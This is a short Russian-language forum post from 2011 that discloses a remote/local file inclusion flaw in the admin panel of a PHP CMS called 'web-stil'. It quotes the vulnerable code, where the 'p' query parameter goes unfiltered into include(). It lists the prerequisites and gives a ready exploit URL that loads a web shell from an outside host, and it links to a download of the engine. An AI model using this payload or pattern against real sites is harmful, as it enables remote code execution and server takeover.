Показать сообщение отдельно
Старый 05.02.2011, 18:46   #2
~d0s~
 
Регистрация: 03.08.2010
Сообщений: 45
Репутация: 26
По умолчанию

RFI or LFI
Need:
allow_url_include = on
admin account

admin/adminmain.php
PHP код:
if(isset($_GET["p"]))
{
    
$p=$_GET["p"];
    
$p.='.php';
    include(
$p);

Код:
http://localhost/web-stil/admin/adminmain.php?p=http://pentagon.xek/myshell_at_pentagon.txt?
Скачать двиг можно тутэ: http://vo-bank.com/engine/download.php?id=25
p.s. указывайте ссылки на скачивание,приходится гуглеть.
~d0s~ вне форума   Ответить с цитированием